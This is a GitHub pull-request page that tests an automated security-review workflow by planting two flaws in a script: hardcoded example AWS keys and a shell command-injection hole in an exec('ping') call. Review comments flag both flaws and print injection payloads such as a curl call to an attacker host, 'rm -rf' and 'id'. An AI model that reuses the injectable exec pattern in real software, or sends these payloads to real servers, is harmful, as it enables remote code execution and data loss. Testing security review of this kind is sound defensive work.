test(security-review): fork PR path smoke test#1320
Conversation
Package TarballHow to installgh release download pr-1320-tarball --repo aws/agentcore-cli --pattern "*.tgz" --dir /tmp/pr-tarball
npm install -g /tmp/pr-tarball/aws-agentcore-0.14.1.tgz |
agentcore-cli-automation
left a comment
There was a problem hiding this comment.
This PR is explicitly marked DO NOT MERGE in the description and is a smoke test for the security-review workflow. The diff contains two intentional HIGH-severity vulnerabilities, both of which I am flagging inline as expected. Requesting changes so this isn't merged accidentally — please close once the workflow verification is complete.
Also: the file is named scripts/__sec_review_smoketest_fork.mjs and lives under scripts/, where it could plausibly be picked up by tooling/globs. If anything like this needs to live in the repo longer-term, it should be in a clearly-quarantined fixtures directory (e.g. test/fixtures/security/) and/or excluded from any script runners and lint/secret-scanning allowlists. Preferably, just delete it after verification as the description states.
|
|
||
| // FINDING 1 — Hardcoded credential pattern. | ||
| const HARDCODED_AWS_ACCESS_KEY_ID = 'AKIAIOSFODNN7EXAMPLE'; | ||
| const HARDCODED_AWS_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'; |
There was a problem hiding this comment.
HIGH — Hardcoded AWS credentials.
Lines 8–9 hardcode an AWS access key ID and secret access key as string literals. Even though these are the well-known AWS documentation example values (AKIAIOSFODNN7EXAMPLE / wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY) and not real credentials, committing strings that match the AWS credential format will:
- Trigger secret scanners (GitHub secret scanning, gitleaks, trufflehog, etc.) and create alert noise / false positives that desensitize reviewers.
- Set a bad precedent — copy-pasted patterns like this are how real keys end up in repos.
Options to resolve:
- Preferred: delete this file after the workflow verification (the PR description says it will be removed).
- If the fixture must remain, read the values from
process.env(e.g.process.env.TEST_AWS_ACCESS_KEY_ID) rather than hardcoding string literals, or split the literal so it doesn't match theAKIA[0-9A-Z]{16}regex (e.g.'AKIA' + 'IOSFODNN7EXAMPLE') and add a comment explaining why. - Add the file to
.gitleaksignore/ secret-scanning allowlist with a clear justification.
| const server = http.createServer((req, res) => { | ||
| const url = new URL(req.url, 'http://localhost'); | ||
| const target = url.searchParams.get('host') ?? 'localhost'; | ||
|
|
There was a problem hiding this comment.
HIGH — Command injection via child_process.exec with untrusted input.
target is taken directly from the host query parameter (line 21) and interpolated into a shell command string passed to exec() (line 23). An attacker can supply ?host=localhost;rm%20-rf%20/ (or any shell metacharacter payload) and achieve arbitrary command execution on the server.
If this code is ever actually executed — e.g. someone runs node scripts/__sec_review_smoketest_fork.mjs locally, or a script runner picks up files under scripts/ — this is a real RCE, not just a fixture.
Options to resolve:
- Preferred: delete this file after the workflow verification, per the PR description.
- If it must remain, neutralize the vulnerability so it can't be executed accidentally: don't actually call
http.createServer().listen(...)(currentlyserveris exported but never listened on, which helps, but theexeccall still fires on any request if a consumer listens), and replaceexec(\ping -c 1 ${target}`)withexecFile('ping', ['-c', '1', target])plus strict input validation (e.g. allowlist of hostnames matching/^[a-zA-Z0-9.-]+$/`). - Move the file under a fixtures path that is excluded from any script execution / CI runners, and add a top-of-file guard like
if (!process.env.SECURITY_REVIEW_SMOKETEST) process.exit(0);.
| const url = new URL(req.url, 'http://localhost'); | ||
| const target = url.searchParams.get('host') ?? 'localhost'; | ||
|
|
||
| exec(`ping -c 1 ${target}`, (err, stdout, stderr) => { |
| const HARDCODED_AWS_ACCESS_KEY_ID = 'AKIAIOSFODNN7EXAMPLE'; | ||
| const HARDCODED_AWS_SECRET_ACCESS_KEY = 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'; |
There was a problem hiding this comment.
HIGH: Hardcoded AWS credentials in source code.
Embedding an AWS access key ID and secret access key as string literals is a credential-leak vulnerability. Even though these specific values are AWS's well-known documentation example (AKIAIOSFODNN7EXAMPLE / wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY) and not live secrets, the pattern is dangerous:
- Anything matching this pattern in committed code will be picked up by secret scanners and trigger noisy alerts that mask real leaks.
- Copy/paste of this pattern into a real codepath would expose live credentials in git history forever — rotation is the only remediation, and history rewriting is rarely feasible.
- Hardcoded credentials cannot be rotated, scoped per-environment, or revoked without a code change and redeploy.
Resolve credentials at runtime from the AWS SDK's default credential provider chain (env vars, shared config, IMDS, container role, SSO, etc.) instead of hardcoding them. If a fixture genuinely needs a placeholder, read it from process.env and fail fast when missing, so the value never lives in the repo.
| const target = url.searchParams.get('host') ?? 'localhost'; | ||
|
|
||
| exec(`ping -c 1 ${target}`, (err, stdout, stderr) => { | ||
| if (err) { |
There was a problem hiding this comment.
HIGH: Command injection via unvalidated host query parameter passed to exec().
target is taken directly from the request's host query parameter and interpolated into a shell command string passed to child_process.exec, which spawns /bin/sh -c <cmd>. An attacker can supply shell metacharacters to execute arbitrary commands on the server. For example:
GET /?host=localhost;curl%20http://attacker/$(whoami)
GET /?host=$(rm%20-rf%20~)
GET /?host=`id`
Each of these breaks out of the intended ping -c 1 … invocation and runs attacker-controlled code with the privileges of the server process — full RCE, no auth required.
Fix by either:
- Switching to
child_process.execFile('ping', ['-c', '1', target], …), which does not invoke a shell, so metacharacters are passed literally as a single argument and cannot break out, and validatingtargetagainst a strict allowlist regex (e.g./^[A-Za-z0-9.\-]+$/) before use to also reject malformed hostnames and ping flags like-f/-O. - Using a hostname-resolution library (e.g.
dns.lookup) to validate thattargetis a syntactically valid hostname/IP before passing it toexecFile.
Never interpolate untrusted input into a shell command string.
|
Claude Security Review: no high-confidence findings. (run) |
|
Closing — fork PR + safe-to-review label path verified end-to-end. Workflow ran (num_turns: 9, $0.40), 2 inline findings posted at correct lines. Note: fork branch lives on tejaskash/agentcore-cli; --delete-branch only works for same-repo. |
Test PR for the security review workflow — DO NOT MERGE.
Verifies the fork-PR path: this PR is from a fork (
tejaskash/agentcore-cli), so the workflow should NOT auto-run onopened. A maintainer applies thesafe-to-reviewlabel, which firespull_request_target: labeled, which gets secrets/vars on fork PRs and authorizes via the labeler's write access.The diff has two deliberate findings the bundled
/security-reviewskill should flag and post as inline review comments.Will close once verified.